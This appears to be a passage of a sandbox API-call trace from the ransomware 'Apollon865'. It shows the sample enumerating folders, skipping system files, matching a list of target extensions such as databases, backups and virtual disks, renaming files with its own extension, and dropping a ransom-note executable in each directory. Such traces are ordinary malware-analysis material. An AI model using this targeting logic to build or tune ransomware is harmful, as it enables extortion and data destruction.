	[0084.945] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico MoveFileEx error 5\r\n") returned 132
	[0084.945] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico MoveFileEx error 5\r\n") returned 132
	[0084.945] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.945] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5992
	[0084.945] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x84, lpOverlapped=0x0) returned 1
	[0084.945] CloseHandle (hObject=0x9c) returned 1
	[0084.945] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.945] CloseHandle (hObject=0x0) returned 0
	[0084.945] CloseHandle (hObject=0x0) returned 0
	[0084.945] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2=".") returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="..") returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="windows") returned -1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="bootmgr") returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="temp") returned -1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="pagefile.sys") returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="boot") returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="ids.txt") returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="ntuser.dat") returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="perflogs") returned 1
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2="MSBuild") returned 1
	[0084.946] lstrlenW (lpString="scan_settings.ico") returned 17
	[0084.946] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico") returned 103
	[0084.946] lstrcpyW (in: lpString1=0x119e6b4, lpString2="scan_settings.ico" | out: lpString1="scan_settings.ico") returned="scan_settings.ico"
	[0084.946] lstrlenW (lpString="scan_settings.ico") returned 17
	[0084.946] lstrlenW (lpString="Apollon865") returned 10
	[0084.946] lstrcmpiW (lpString1="ttings.ico", lpString2="Apollon865") returned 1
	[0084.946] lstrlenW (lpString=".dll") returned 4
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2=".dll") returned 1
	[0084.946] lstrlenW (lpString=".lnk") returned 4
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2=".lnk") returned 1
	[0084.946] lstrlenW (lpString=".ini") returned 4
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2=".ini") returned 1
	[0084.946] lstrlenW (lpString=".sys") returned 4
	[0084.946] lstrcmpiW (lpString1="scan_settings.ico", lpString2=".sys") returned 1
	[0084.946] lstrlenW (lpString="scan_settings.ico") returned 17
	[0084.946] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico.Apollon865") returned 114
	[0084.946] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.947] GetLastError () returned 0x5
	[0084.947] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico MoveFileEx error 5\r\n") returned 132
	[0084.947] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico MoveFileEx error 5\r\n") returned 132
	[0084.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.947] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5a16
	[0084.947] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x84, lpOverlapped=0x0) returned 1
	[0084.947] CloseHandle (hObject=0x9c) returned 1
	[0084.947] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.947] CloseHandle (hObject=0x0) returned 0
	[0084.947] CloseHandle (hObject=0x0) returned 0
	[0084.947] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="Apollon865.txt.exe") returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2=".") returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="..") returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="windows") returned -1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="bootmgr") returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="temp") returned -1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="pagefile.sys") returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="boot") returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="ids.txt") returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="ntuser.dat") returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="perflogs") returned 1
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2="MSBuild") returned 1
	[0084.948] lstrlenW (lpString="tasks.xml") returned 9
	[0084.948] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico") returned 103
	[0084.948] lstrcpyW (in: lpString1=0x119e6b4, lpString2="tasks.xml" | out: lpString1="tasks.xml") returned="tasks.xml"
	[0084.948] lstrlenW (lpString="tasks.xml") returned 9
	[0084.948] lstrlenW (lpString="Apollon865") returned 10
	[0084.948] lstrlenW (lpString=".dll") returned 4
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2=".dll") returned 1
	[0084.948] lstrlenW (lpString=".lnk") returned 4
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2=".lnk") returned 1
	[0084.948] lstrlenW (lpString=".ini") returned 4
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2=".ini") returned 1
	[0084.948] lstrlenW (lpString=".sys") returned 4
	[0084.948] lstrcmpiW (lpString1="tasks.xml", lpString2=".sys") returned 1
	[0084.948] lstrlenW (lpString="tasks.xml") returned 9
	[0084.948] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0
	[0084.948] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.949] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0084.949] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0084.949] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0084.949] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0084.949] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned 91
	[0084.949] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0084.949] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.949] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.949] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.950] GetLastError () returned 0x0
	[0084.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.950] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.950] CloseHandle (hObject=0x10c) returned 1
	[0084.950] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.950] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.950] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.950] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.950] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.950] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.950] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.950] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.950] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.950] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.950] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.950] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd82e70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.950] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.950] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="Apollon865.txt.exe") returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2=".") returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="..") returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="windows") returned -1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="bootmgr") returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="temp") returned -1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="pagefile.sys") returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="boot") returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="ids.txt") returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="ntuser.dat") returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="perflogs") returned 1
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2="MSBuild") returned 1
	[0084.951] lstrlenW (lpString="resource.xml") returned 12
	[0084.951] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*") returned 93
	[0084.951] lstrcpyW (in: lpString1=0x119e6c0, lpString2="resource.xml" | out: lpString1="resource.xml") returned="resource.xml"
	[0084.951] lstrlenW (lpString="resource.xml") returned 12
	[0084.951] lstrlenW (lpString="Apollon865") returned 10
	[0084.951] lstrcmpiW (lpString1="source.xml", lpString2="Apollon865") returned 1
	[0084.951] lstrlenW (lpString=".dll") returned 4
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2=".dll") returned 1
	[0084.951] lstrlenW (lpString=".lnk") returned 4
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2=".lnk") returned 1
	[0084.951] lstrlenW (lpString=".ini") returned 4
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2=".ini") returned 1
	[0084.951] lstrlenW (lpString=".sys") returned 4
	[0084.951] lstrcmpiW (lpString1="resource.xml", lpString2=".sys") returned 1
	[0084.951] lstrlenW (lpString="resource.xml") returned 12
	[0084.951] lstrlenW (lpString="bak") returned 3
	[0084.951] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0084.951] lstrlenW (lpString="ba_") returned 3
	[0084.951] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0084.951] lstrlenW (lpString="dbb") returned 3
	[0084.951] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0084.951] lstrlenW (lpString="vmdk") returned 4
	[0084.951] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0084.951] lstrlenW (lpString="rar") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0084.952] lstrlenW (lpString="zip") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0084.952] lstrlenW (lpString="tgz") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0084.952] lstrlenW (lpString="vbox") returned 4
	[0084.952] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0084.952] lstrlenW (lpString="vdi") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0084.952] lstrlenW (lpString="vhd") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0084.952] lstrlenW (lpString="vhdx") returned 4
	[0084.952] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0084.952] lstrlenW (lpString="avhd") returned 4
	[0084.952] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0084.952] lstrlenW (lpString="db") returned 2
	[0084.952] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0084.952] lstrlenW (lpString="db2") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0084.952] lstrlenW (lpString="db3") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0084.952] lstrlenW (lpString="dbf") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0084.952] lstrlenW (lpString="mdf") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0084.952] lstrlenW (lpString="mdb") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0084.952] lstrlenW (lpString="sql") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0084.952] lstrlenW (lpString="sqlite") returned 6
	[0084.952] lstrcmpiW (lpString1="ce.xml", lpString2="sqlite") returned -1
	[0084.952] lstrlenW (lpString="sqlite3") returned 7
	[0084.952] lstrcmpiW (lpString1="rce.xml", lpString2="sqlite3") returned -1
	[0084.952] lstrlenW (lpString="sqlitedb") returned 8
	[0084.952] lstrcmpiW (lpString1="urce.xml", lpString2="sqlitedb") returned 1
	[0084.952] lstrlenW (lpString="xml") returned 3
	[0084.952] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0084.952] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0084.953] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.953] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7970
	[0084.953] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0084.953] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0084.953] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0084.953] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 85
	[0084.953] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0084.953] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.953] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.953] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.954] GetLastError () returned 0x0
	[0084.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.954] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.954] CloseHandle (hObject=0x10c) returned 1
	[0084.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.954] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.954] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.954] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.954] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.954] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.954] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.954] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.954] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.954] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.954] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.954] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe1b3f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0084.954] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
